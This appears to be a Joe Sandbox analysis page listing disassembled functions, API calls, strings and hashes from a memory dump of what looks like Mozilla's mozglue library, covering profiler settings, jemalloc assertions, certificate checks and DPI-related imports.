[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C985BBE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9857C5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C985D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C985C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C985724
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9856E3
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C985717
[I %d/%d] profiler_init, xrefs: 6C98564E
MOZ_BASE_PROFILER_HELP, xrefs: 6C985511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9854B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C98548D
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C985D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C985B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9854A3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C985766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C985AC9
MOZ_PROFILER_STARTUP, xrefs: 6C9855E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C985D01
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C985D1C
GeckoMain, xrefs: 6C985554, 6C9855D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C985749
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C985CF9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C985791
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9857AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C98584E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: df29e8d76ed383bcb5e9dc5938092102f60c3adf406df914df4dd8b358b42f93
Instruction ID: bf8625e436fdec65f52a6e8e293f688b6909c0ac4de301b28583b89e7d01d92d
Opcode Fuzzy Hash: df29e8d76ed383bcb5e9dc5938092102f60c3adf406df914df4dd8b358b42f93
Instruction Fuzzy Hash: B72216719093409FFB009F74984865AB7F9AFA630CF24492AE86B97B41E731C84DCB53

Function 6C9BB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BB845
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000), ref: 6C9BB852
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9BB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9BB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9BBA05
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000), ref: 6C9BBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9BBA27
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BBA4B
free.MOZGLUE(?), ref: 6C9BC9C7
free.MOZGLUE(?), ref: 6C9BC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9BC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9BC7DA

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 2bf0d9899538264eb719c7caf9542255fa6a42b2f853badb491c257f37516242
Instruction ID: e3e3f779da81bb233b95b668371963c81ee612c431f077c4ea647b4233ab68b2
Opcode Fuzzy Hash: 2bf0d9899538264eb719c7caf9542255fa6a42b2f853badb491c257f37516242
Instruction Fuzzy Hash: 0EA26B71A083808FD725CF28C48079BB7E5BFD9718F154A2DE899A7750DB71E909CB82

Function 6C986C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C986CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C986D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C986D26

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C986D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C986D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C986D73
free.MOZGLUE(00000000), ref: 6C986D80
CertGetNameStringW.CRYPT32 ref: 6C986DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C986DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C986DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C986DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C986E10
CryptMsgClose.CRYPT32(00000000), ref: 6C986E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C986E34
CreateFileW.KERNEL32 ref: 6C986EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C986F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C986F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C98709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C987103
free.MOZGLUE(00000000), ref: 6C987153
CloseHandle.KERNEL32(?), ref: 6C987176
__Init_thread_footer.LIBCMT ref: 6C987209
__Init_thread_footer.LIBCMT ref: 6C98723A
__Init_thread_footer.LIBCMT ref: 6C98726B
__Init_thread_footer.LIBCMT ref: 6C98729C
__Init_thread_footer.LIBCMT ref: 6C9872DC
__Init_thread_footer.LIBCMT ref: 6C98730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9873C2
VerSetConditionMask.NTDLL ref: 6C9873F3
VerSetConditionMask.NTDLL ref: 6C9873FF
VerSetConditionMask.NTDLL ref: 6C987406
VerSetConditionMask.NTDLL ref: 6C98740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C98741A
moz_xmalloc.MOZGLUE(?), ref: 6C98755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C987568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C987585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C987598
free.MOZGLUE(00000000), ref: 6C9875AC

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

Strings

(, xrefs: 6C98768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9872C8
SHA256, xrefs: 6C986EC0
wintrust.dll, xrefs: 6C9872CD

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 63b8aa72c2bbb1a7f2006dba6f798604c95553a62aa4fdb1611e20ece6463d50
Instruction ID: 0c517b6fefc84d7ed5d227baae53d516fa2436b876ad017d4dff96a4da80da51
Opcode Fuzzy Hash: 63b8aa72c2bbb1a7f2006dba6f798604c95553a62aa4fdb1611e20ece6463d50
Instruction Fuzzy Hash: 465202B1A053189BEB21CF24CC84BAA77BCEF55708F104599F919A7640DB70EB85CFA1

Function 6C9A6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A7019
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A7061
EnterCriticalSection.KERNEL32(?), ref: 6C9A71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C9A721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A723E
EnterCriticalSection.KERNEL32(?), ref: 6C9A726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9A72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C9A733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9A73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C9A961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A96DB
AcquireSRWLockExclusive.KERNEL32(6C9FE804), ref: 6C9A9747
GetSystemInfo.KERNEL32(?), ref: 6C9A9792
__Init_thread_footer.LIBCMT ref: 6C9A97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9FE810,00000040), ref: 6C9A97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7B8,00001388), ref: 6C9A9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE744,00001388), ref: 6C9A984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE784,00001388), ref: 6C9A9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7DC,00001388), ref: 6C9A9895

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C9A9B38
MALLOC_OPTIONS, xrefs: 6C9A97CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A9933, 6C9A9A33, 6C9A9A4E
MOZ_CRASH(), xrefs: 6C9A9B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A99BD
<jemalloc>, xrefs: 6C9A9B33, 6C9A9BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A99D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A9BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A99A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9A9993

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 525da75b217780d671b2aadd20fbd80c13c9ed8e693de32d30d34c7fcd5f637d
Instruction ID: b78f9898012243b8454fbbb32f4439580f4640eb71d071e51ee7656acec6a032
Opcode Fuzzy Hash: 525da75b217780d671b2aadd20fbd80c13c9ed8e693de32d30d34c7fcd5f637d
Instruction Fuzzy Hash: B953BF71A057018FD708CF68C581715FBE5BF89328F2AC6ADE8698B795D731E842CB81

Function 6C9B0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9B0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9B0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9B0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9B1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9B10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9B117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9B1C39
EnterCriticalSection.KERNEL32(6C9FE744), ref: 6C9B3391
LeaveCriticalSection.KERNEL32(6C9FE744), ref: 6C9B33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9B3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B3437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C9B3946
MALLOC_OPTIONS, xrefs: 6C9B35FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9B3559, 6C9B382D, 6C9B3848
MOZ_CRASH(), xrefs: 6C9B3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9B37BD
<jemalloc>, xrefs: 6C9B3941, 6C9B39F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9B37D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9B3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9B37A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9B3793

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 12c3233e7c4a17476f6e516574b26c61c68e66608b58fed9c0cc290e31f0b69c
Instruction ID: 153f1201138f6da1deb89fc653e4902c8a1fdb8b38952ea007bf59047c458304
Opcode Fuzzy Hash: 12c3233e7c4a17476f6e516574b26c61c68e66608b58fed9c0cc290e31f0b69c
Instruction Fuzzy Hash: A8539D71A05B019FC304CF29C540616FBE5FF8A728F29C6ADE869AB791D771E841CB81

Function 6C9D55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C9AE1A5), ref: 6C9D5606
LoadLibraryW.KERNEL32(gdi32,?,6C9AE1A5), ref: 6C9D560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9D5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9D563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9D566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9D567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9D5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9D56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9D56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9D56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9D56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9D5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9D572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9D5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9D5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9D577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9D5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9D57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9D57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9D57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9D57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9D57FF

Strings

DeleteObject, xrefs: 6C9D57F9
ShowWindow, xrefs: 6C9D56DE
user32, xrefs: 6C9D5601
MonitorFromWindow, xrefs: 6C9D578D
StretchDIBits, xrefs: 6C9D57CC
GetWindowDC, xrefs: 6C9D5710
GetSystemMetricsForDpi, xrefs: 6C9D5677
gdi32, xrefs: 6C9D560A
GetThreadDpiAwarenessContext, xrefs: 6C9D562D
SetWindowLongPtrW, xrefs: 6C9D57B7
LoadIconW, xrefs: 6C9D575B
RegisterClassW, xrefs: 6C9D56AC
GetMonitorInfoW, xrefs: 6C9D57A2
GetDpiForWindow, xrefs: 6C9D5690
EnableNonClientDpiScaling, xrefs: 6C9D5666
LoadCursorW, xrefs: 6C9D5774
CreateSolidBrush, xrefs: 6C9D57E4
AreDpiAwarenessContextsEqual, xrefs: 6C9D5637
FillRect, xrefs: 6C9D5729
SetWindowPos, xrefs: 6C9D56F7
CreateWindowExW, xrefs: 6C9D56C5
ReleaseDC, xrefs: 6C9D5742

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 05ccd04a027cbd5bc84e2bfa03b4345692b877b378b1ee04051b942a51222402
Instruction ID: 25eabafe9eba6f20d6d20a5ecb32a7aebbdb0b97b28a28a5e849b3f745c47d5f
Opcode Fuzzy Hash: 05ccd04a027cbd5bc84e2bfa03b4345692b877b378b1ee04051b942a51222402
Instruction Fuzzy Hash: 7C5151B0B15B025BEB029F35AD44D263AFDEB5634D7318469A931E2A41EF70D845CFA0

Function 6C9D34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3EE2

Part of subcall function 6C9D6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9D61DD
Part of subcall function 6C9D6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9D622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D4157

Part of subcall function 6C9D6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9D6250
Part of subcall function 6C9D6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D4896
free.MOZGLUE ref: 6C9D489F

Strings

, xrefs: 6C9D4CD2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 05ec98801ab73339c9909d49784bba0e108b577147f6dfed8a9945bb9974c7d1
Instruction ID: a32a1fec539c48a66391695e9bf28a1f951960840ba79e9ad750ac68345943af
Opcode Fuzzy Hash: 05ec98801ab73339c9909d49784bba0e108b577147f6dfed8a9945bb9974c7d1
Instruction Fuzzy Hash: E2F24A74908B808FC761CF28C08469AFBF1BFD9348F158A5ED99997711DB31E896CB42

Function 6C9864C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9864DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9864F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C986505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C986518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C98652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C98671C
GetCurrentProcess.KERNEL32 ref: 6C986724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C98672F
